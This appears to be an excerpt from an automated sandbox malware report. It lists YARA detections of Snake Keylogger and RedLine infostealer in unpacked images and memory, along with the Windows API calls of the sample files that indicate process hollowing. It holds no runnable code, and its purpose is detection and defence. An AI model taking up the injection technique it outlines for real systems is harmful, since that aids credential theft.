Source: 14.2.yihfsboC.pif.285a0f08.13.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.285a0f08.13.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.35956478.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.35956478.10.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.2994e790.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2994e790.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.35955570.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.35955570.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.1.yihfsboC.pif.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 14.2.yihfsboC.pif.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.3.yihfsboC.pif.268cecc8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.3.yihfsboC.pif.268cecc8.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.34690f08.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.34690f08.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.28be0000.15.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.28be0000.15.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.29916478.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.29916478.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.3598e790.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.3598e790.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.285a0000.14.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.285a0000.14.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.2709e790.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.2709e790.10.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.25d6c896.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.25d6c896.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.27065570.11.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.27065570.11.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.2.yihfsboC.pif.285dc896.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.285dc896.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.3.yihfsboC.pif.327be688.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.3.yihfsboC.pif.327be688.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.1.yihfsboC.pif.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.285db98e.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.285db98e.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.34690000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.34690000.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.EPTMAcgvNZ.exe.21ef13d8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.2.yihfsboC.pif.2b4c0000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2b4c0000.10.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.27066478.12.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.27066478.12.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.1.yihfsboC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.1.yihfsboC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 14.2.yihfsboC.pif.25d6b98e.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.25d6b98e.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.342db98e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.342db98e.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.342dc896.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.342dc896.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.3.yihfsboC.pif.24219998.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.3.yihfsboC.pif.24219998.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.EPTMAcgvNZ.exe.21a70ae8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000017.00000001.1460585249.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0000001A.00000002.2505611445.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000017.00000002.2505730658.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0000001A.00000001.1548998614.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B28670 NtUnmapViewOfSection,	0_2_02B28670
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B28400 NtReadVirtualMemory,	0_2_02B28400
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B27A2C NtAllocateVirtualMemory,	0_2_02B27A2C
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B2DC8C RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_02B2DC8C
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B2DC04 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_02B2DC04
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B28D70 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_02B28D70
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B2DD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_02B2DD70
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B27D78 NtWriteVirtualMemory,	0_2_02B27D78
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B27A2A NtAllocateVirtualMemory,	0_2_02B27A2A
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B2DBB0 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_02B2DBB0
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B28D6E GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_02B28D6E
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A643A NtOpenThreadToken,NtOpenProcessToken,NtClose,	16_2_003A643A
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A4823 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	16_2_003A4823
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003B7460 EnterCriticalSection,LeaveCriticalSection,fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	16_2_003B7460
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A64CA NtQueryInformationToken,	16_2_003A64CA
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003BA135 NtSetInformationFile,	16_2_003BA135
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A6500 NtQueryInformationToken,NtQueryInformationToken,	16_2_003A6500
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003BC1FA SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memcpy,memcpy,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	16_2_003BC1FA
Source: C:\Users\Public\alpha.pif	Code function: 16_2_00394E3B _setjmp3,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,longjmp,	16_2_00394E3B
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A4759 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,DeleteFileW,GetLastError,	16_2_003A4759
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A643A NtOpenThreadToken,NtOpenProcessToken,NtClose,	19_2_003A643A
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A4823 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	19_2_003A4823
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003B7460 EnterCriticalSection,LeaveCriticalSection,fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	19_2_003B7460
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A64CA NtQueryInformationToken,	19_2_003A64CA
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003BA135 NtSetInformationFile,	19_2_003BA135
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A6500 NtQueryInformationToken,NtQueryInformationToken,	19_2_003A6500
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003BC1FA SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memcpy,memcpy,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	19_2_003BC1FA
Source: C:\Users\Public\alpha.pif	Code function: 19_2_00394E3B _setjmp3,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,longjmp,	19_2_00394E3B
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A4759 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,DeleteFileW,GetLastError,	19_2_003A4759
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 21_2_02AF8670 NtUnmapViewOfSection,	21_2_02AF8670
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 21_2_02AF8400 NtReadVirtualMemory,	21_2_02AF8400
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 21_2_02AF7A2C NtAllocateVirtualMemory,	21_2_02AF7A2C
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 21_2_02AF7D78 NtWriteVirtualMemory,	21_2_02AF7D78
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 21_2_02AF8D70 Wow64GetThreadContext,Wow64SetThreadContext,NtResumeThread,	21_2_02AF8D70
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 21_2_02AFDD70 NtOpenFile,NtReadFile,	21_2_02AFDD70
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 21_2_02AF86F7 NtUnmapViewOfSection,	21_2_02AF86F7
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 21_2_02AF7A2A NtAllocateVirtualMemory,	21_2_02AF7A2A
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 21_2_02AF8D6E Wow64GetThreadContext,Wow64SetThreadContext,NtResumeThread,	21_2_02AF8D6E
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BD8670 NtUnmapViewOfSection,	24_2_02BD8670
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BD8400 NtReadVirtualMemory,	24_2_02BD8400
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BD7A2C NtAllocateVirtualMemory,	24_2_02BD7A2C
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BD7D78 NtWriteVirtualMemory,	24_2_02BD7D78
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BD8D70 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	24_2_02BD8D70
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BDDD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	24_2_02BDDD70
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BD86F7 NtUnmapViewOfSection,	24_2_02BD86F7
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BD7A2A NtAllocateVirtualMemory,	24_2_02BD7A2A
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BDDBB0 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	24_2_02BDDBB0
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BDDC8C RtlDosPathNameToNtPathName_U,NtWriteFile,NtClose,	24_2_02BDDC8C
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BDDC04 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	24_2_02BDDC04
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BD8D6E GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	24_2_02BD8D6E

Source: C:\Users\Public\alpha.pif

Code function: 16_2_00394C10: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPAX@Z,memset,CreateFileW,DeviceIoControl,memcpy,CloseHandle,??_V@YAXPAX@Z,memset,??_V@YAXPAX@Z,FindClose,??_V@YAXPAX@Z,

16_2_00394C10

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Code function: 0_2_02B28788 CreateProcessAsUserW,

0_2_02B28788

Source: C:\Users\Public\alpha.pif	File created: C:\Windows			Jump to behavior
